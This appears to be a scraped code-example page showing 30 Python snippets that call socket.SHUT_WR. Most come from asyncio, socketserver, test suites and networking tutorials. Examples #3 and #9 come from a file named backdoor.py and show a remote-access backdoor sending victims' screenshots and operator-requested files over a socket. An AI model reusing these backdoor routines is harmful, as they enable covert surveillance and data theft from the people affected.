Python socket.SHUT_WR Examples
The following are 30
code examples of socket.SHUT_WR().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
socket
, or try the search function
.
Example #1
Source File: acecore.py From program.plexus with GNU General Public License v2.0 | 6 votes |
def end(self): self.active=False comm='SHUTDOWN' if self.conn:self.TSpush(comm) self.log.out("Ending") try: self._sock.shutdown(socket.SHUT_WR) except: pass if self.tsserv: self.tsserv.active=False if self.tsserv: self.tsserv.join() self.log.out("end thread") self._sock.close() self.log.out("socket closed") if self.progress:self.progress.close() if settings.getSetting('engine-status') == "true": try:lat123._close() except:pass if self.canceled: stop_aceengine()
Example #2
Source File: debugger_unittest.py From PyDev.Debugger with Eclipse Public License 1.0 | 6 votes |
def _set_socket(self, new_socket): curr_socket = getattr(self, 'sock', None) if curr_socket: try: curr_socket.shutdown(socket.SHUT_WR) except: pass try: curr_socket.close() except: pass reader_thread = self.reader_thread = ReaderThread(new_socket) self.sock = new_socket reader_thread.start() # initial command is always the version self.write_version() self.log.append('start_socket') self.finished_initialization = True
Example #3
Source File: backdoor.py From RSB-Framework with GNU General Public License v3.0 | 6 votes |
def screenshot(s): name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png' if(os.name == 'posix'): # se for unix-like img = pyscreenshot.grab() img.save(name) elif(os.name == 'nt'): # se for windows img = ImageGrab.grab() img.save(name) with open(name ,'rb') as f: l = f.read(1024) l = name + '+/-' + l while(l): s.send(l) l = f.read(1024) print('sent') s.shutdown(socket.SHUT_WR) os.remove(name)
Example #4
Source File: selector_events.py From ironpython3 with Apache License 2.0 | 6 votes |
def _write_ready(self): assert self._buffer, 'Data should not be empty' try: n = self._sock.send(self._buffer) except (BlockingIOError, InterruptedError): pass except Exception as exc: self._loop.remove_writer(self._sock_fd) self._buffer.clear() self._fatal_error(exc, 'Fatal write error on socket transport') else: if n: del self._buffer[:n] self._maybe_resume_protocol() # May append to buffer. if not self._buffer: self._loop.remove_writer(self._sock_fd) if self._closing: self._call_connection_lost(None) elif self._eof: self._sock.shutdown(socket.SHUT_WR)
Example #5
Source File: test_socketutil.py From Pyro5 with MIT License | 6 votes |
def testSendUnix(self): if not hasattr(socket, "AF_UNIX"): pytest.skip("no unix domain sockets capability") SOCKNAME = "test_unixsocket" if os.path.exists(SOCKNAME): os.remove(SOCKNAME) ss = socketutil.create_socket(bind=SOCKNAME) cs = socketutil.create_socket(connect=SOCKNAME) socketutil.send_data(cs, b"foobar!" * 10) cs.shutdown(socket.SHUT_WR) a = ss.accept() data = socketutil.receive_data(a[0], 5) assert b"fooba" == data data = socketutil.receive_data(a[0], 5) assert b"r!foo" == data a[0].close() ss.close() cs.close() if os.path.exists(SOCKNAME): os.remove(SOCKNAME)
Example #6
Source File: tcp_client_selectors.py From Learning-Python-Networking-Second-Edition with MIT License | 6 votes |
def service_connection(key, mask): sock = key.fileobj data = key.data if mask & selectors.EVENT_READ: recv_data = sock.recv(BUFFER_SIZE) if recv_data: print('Received {} from connection {}'.format(repr(recv_data), data.connid)) data.recv_total += len(recv_data) if not recv_data or data.recv_total == data.msg_total: print('Closing connection', data.connid) selector.unregister(sock) sock.close() if mask & selectors.EVENT_WRITE: if not data.outb and data.messages: data.outb = data.messages.pop(0).encode() if data.outb: print('Sending {} to connection {}'.format(repr(data.outb), data.connid)) sent = sock.send(data.outb) sock.shutdown(socket.SHUT_WR) data.outb = data.outb[sent:]
Example #7
Source File: synchronous_server.py From wsproto with MIT License | 6 votes |
def main() -> None: """Run the server.""" try: ip = sys.argv[1] port = int(sys.argv[2]) except (IndexError, ValueError): print("Usage: {} <BIND_IP> <PORT>".format(sys.argv[0])) sys.exit(1) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((ip, port)) server.listen(0) try: while True: print("Waiting for connection...") (stream, addr) = server.accept() print("Client connected: {}:{}".format(addr[0], addr[1])) handle_connection(stream) stream.shutdown(socket.SHUT_WR) stream.close() except KeyboardInterrupt: print("Received SIGINT: shutting down…")
Example #8
Source File: acecore.py From program.plexus with GNU General Public License v2.0 | 6 votes |
def end(self): self.active=False comm='SHUTDOWN' if self.conn:self.TSpush(comm) self.log.out("Ending") try: self._sock.shutdown(socket.SHUT_WR) except: pass if self.tsserv: self.tsserv.active=False if self.tsserv: self.tsserv.join() self.log.out("end thread") self._sock.close() self.log.out("socket closed") if self.progress:self.progress.close() if settings.getSetting('engine-status') == "true": try:lat123._close() except:pass if self.canceled: stop_aceengine()
Example #9
Source File: backdoor.py From RSB-Framework with GNU General Public License v3.0 | 6 votes |
def download(s): filename = s.recv(1024) print(filename) if(os.path.isfile(filename)): with open(filename, 'rb') as f: l = f.read(1024) l = 'True+/-' + l while(l): s.send(l) l = f.read(1024) print('sent') s.shutdown(s.SHUT_WR) else: s.send('False')
Example #10
Source File: selector_events.py From Fluid-Designer with GNU General Public License v3.0 | 6 votes |
def _write_ready(self): assert self._buffer, 'Data should not be empty' try: n = self._sock.send(self._buffer) except (BlockingIOError, InterruptedError): pass except Exception as exc: self._loop.remove_writer(self._sock_fd) self._buffer.clear() self._fatal_error(exc, 'Fatal write error on socket transport') else: if n: del self._buffer[:n] self._maybe_resume_protocol() # May append to buffer. if not self._buffer: self._loop.remove_writer(self._sock_fd) if self._closing: self._call_connection_lost(None) elif self._eof: self._sock.shutdown(socket.SHUT_WR)
Example #11
Source File: test_proactor_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def test_write_eof_buffer(self): tr = self.socket_transport() f = asyncio.Future(loop=self.loop) tr._loop._proactor.send.return_value = f tr.write(b'data') tr.write_eof() self.assertTrue(tr._eof_written) self.assertFalse(self.sock.shutdown.called) tr._loop._proactor.send.assert_called_with(self.sock, b'data') f.set_result(4) self.loop._run_once() self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.close()
Example #12
Source File: selector_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def write_eof(self): if self._eof: return self._eof = True if not self._buffer: self._sock.shutdown(socket.SHUT_WR)
Example #13
Source File: test_selector_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def test_write_eof(self): tr = self.socket_transport() self.assertTrue(tr.can_write_eof()) tr.write_eof() self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.write_eof() self.assertEqual(self.sock.shutdown.call_count, 1) tr.close()
Example #14
Source File: test_selector_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def test_write_eof_buffer(self): tr = self.socket_transport() self.sock.send.side_effect = BlockingIOError tr.write(b'data') tr.write_eof() self.assertEqual(tr._buffer, list_to_buffer([b'data'])) self.assertTrue(tr._eof) self.assertFalse(self.sock.shutdown.called) self.sock.send.side_effect = lambda _: 4 tr._write_ready() self.assertTrue(self.sock.send.called) self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.close()
Example #15
Source File: i3ipc.py From mate-i3-applet with BSD 3-Clause "New" or "Revised" License | 5 votes |
def event_socket_teardown(self): if self.sub_socket: self.sub_socket.shutdown(socket.SHUT_WR) self.sub_socket = None
Example #16
Source File: ASCore.py From ru with GNU General Public License v2.0 | 5 votes |
def end(self): self.active=False comm='SHUTDOWN' if self.conn:self.TSpush(comm) self.log.out("Ending") try: self._sock.shutdown(socket.SHUT_WR) except: pass if self.tsserv: self.tsserv.active=False if self.tsserv: self.tsserv.join() self.log.out("end thread") self._sock.close() self.log.out("socket closed") if self.progress:self.progress.close()
Example #17
Source File: myclient.py From h11 with MIT License | 5 votes |
def send(self, *events): for event in events: data = self.conn.send(event) if data is None: # event was a ConnectionClosed(), meaning that we won't be # sending any more data: self.sock.shutdown(socket.SHUT_WR) else: self.sock.sendall(data) # max_bytes_per_recv intentionally set low for pedagogical purposes
Example #18
Source File: TSCore.py From ru with GNU General Public License v2.0 | 5 votes |
def end(self): self.active=False comm='SHUTDOWN' if self.conn:self.TSpush(comm) self.log.out("Ending") try: self._sock.shutdown(socket.SHUT_WR) except: pass if self.tsserv: self.tsserv.active=False if self.tsserv: self.tsserv.join() self.log.out("end thread") self._sock.close() self.log.out("socket closed") if self.progress:self.progress.close()
Example #19
Source File: i3ipc.py From mate-i3-applet with BSD 3-Clause "New" or "Revised" License | 5 votes |
def cmd_socket_teardown(self): if self.cmd_socket: self.cmd_socket.shutdown(socket.SHUT_WR) self.cmd_socket = None
Example #20
Source File: test_proactor_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def test_write_eof(self): tr = self.socket_transport() self.assertTrue(tr.can_write_eof()) tr.write_eof() self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.write_eof() self.assertEqual(self.sock.shutdown.call_count, 1) tr.close()
Example #21
Source File: socketserver.py From ironpython3 with Apache License 2.0 | 5 votes |
def shutdown_request(self, request): """Called to shutdown and close an individual request.""" try: #explicitly shutdown. socket.close() merely releases #the socket and waits for GC to perform the actual close. request.shutdown(socket.SHUT_WR) except OSError: pass #some platforms may raise ENOTCONN here self.close_request(request)
Example #22
Source File: selector_events.py From Imogen with MIT License | 5 votes |
def write_eof(self): if self._closing or self._eof: return self._eof = True if not self._buffer: self._sock.shutdown(socket.SHUT_WR)
Example #23
Source File: proactor_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def write_eof(self): if self._closing or self._eof_written: return self._eof_written = True if self._write_fut is None: self._sock.shutdown(socket.SHUT_WR)
Example #24
Source File: proactor_events.py From ironpython3 with Apache License 2.0 | 5 votes |
def _loop_writing(self, f=None, data=None): try: assert f is self._write_fut self._write_fut = None self._pending_write = 0 if f: f.result() if data is None: data = self._buffer self._buffer = None if not data: if self._closing: self._loop.call_soon(self._call_connection_lost, None) if self._eof_written: self._sock.shutdown(socket.SHUT_WR) # Now that we've reduced the buffer size, tell the # protocol to resume writing if it was paused. Note that # we do this last since the callback is called immediately # and it may add more data to the buffer (even causing the # protocol to be paused again). self._maybe_resume_protocol() else: self._write_fut = self._loop._proactor.send(self._sock, data) if not self._write_fut.done(): assert self._pending_write == 0 self._pending_write = len(data) self._write_fut.add_done_callback(self._loop_writing) self._maybe_pause_protocol() else: self._write_fut.add_done_callback(self._loop_writing) except ConnectionResetError as exc: self._force_close(exc) except OSError as exc: self._fatal_error(exc, 'Fatal write error on pipe transport')
Example #25
Source File: server.py From VerifAI with BSD 3-Clause "New" or "Revised" License | 5 votes |
def send(self, sample): msg = self.encode(sample) self.client_socket.send(msg) self.client_socket.shutdown(socket.SHUT_WR)
Example #26
Source File: Base.py From mailin with MIT License | 5 votes |
def sendTCPRequest(self, server): " do the work of sending a TCP request " first_socket_error = None self.response=None for self.ns in server: #print "trying tcp",self.ns try: if self.ns.count(':'): if hasattr(socket,'has_ipv6') and socket.has_ipv6: self.socketInit(socket.AF_INET6, socket.SOCK_STREAM) else: continue else: self.socketInit(socket.AF_INET, socket.SOCK_STREAM) try: # TODO. Handle timeouts &c correctly (RFC) self.time_start=time.time() self.conn() buf = Lib.pack16bit(len(self.request))+self.request # Keep server from making sendall hang self.s.setblocking(0) # FIXME: throws WOULDBLOCK if request too large to fit in # system buffer self.s.sendall(buf) # SHUT_WR breaks blocking IO with google DNS (8.8.8.8) #self.s.shutdown(socket.SHUT_WR) r=self.processTCPReply() if r.header['id'] == self.tid: self.response = r break finally: self.s.close() except socket.error, e: first_socket_error = first_socket_error or e continue
Example #27
Source File: socketserver.py From telegram-robot-rss with Mozilla Public License 2.0 | 5 votes |
def shutdown_request(self, request): """Called to shutdown and close an individual request.""" try: #explicitly shutdown. socket.close() merely releases #the socket and waits for GC to perform the actual close. request.shutdown(socket.SHUT_WR) except socket.error: pass #some platforms may raise ENOTCONN here self.close_request(request)
Example #28
Source File: transports.py From pychess with GNU General Public License v3.0 | 5 votes |
def write_eof(self): if self._closing or self._eof_written: return self._eof_written = True if self._write_fut is None: self._sock.shutdown(socket.SHUT_WR) else: def transport_write_eof_callback(): if not self._closing: self._sock.shutdown(socket.SHUT_WR) self._buffer_empty_callbacks.add(transport_write_eof_callback)
Example #29
Source File: socketserver.py From Imogen with MIT License | 5 votes |
def shutdown_request(self, request): """Called to shutdown and close an individual request.""" try: #explicitly shutdown. socket.close() merely releases #the socket and waits for GC to perform the actual close. request.shutdown(socket.SHUT_WR) except OSError: pass #some platforms may raise ENOTCONN here self.close_request(request)
Example #30
Source File: test_selector_events.py From Fluid-Designer with GNU General Public License v3.0 | 5 votes |
def test_write_eof_buffer(self): tr = self.socket_transport() self.sock.send.side_effect = BlockingIOError tr.write(b'data') tr.write_eof() self.assertEqual(tr._buffer, list_to_buffer([b'data'])) self.assertTrue(tr._eof) self.assertFalse(self.sock.shutdown.called) self.sock.send.side_effect = lambda _: 4 tr._write_ready() self.assertTrue(self.sock.send.called) self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.close()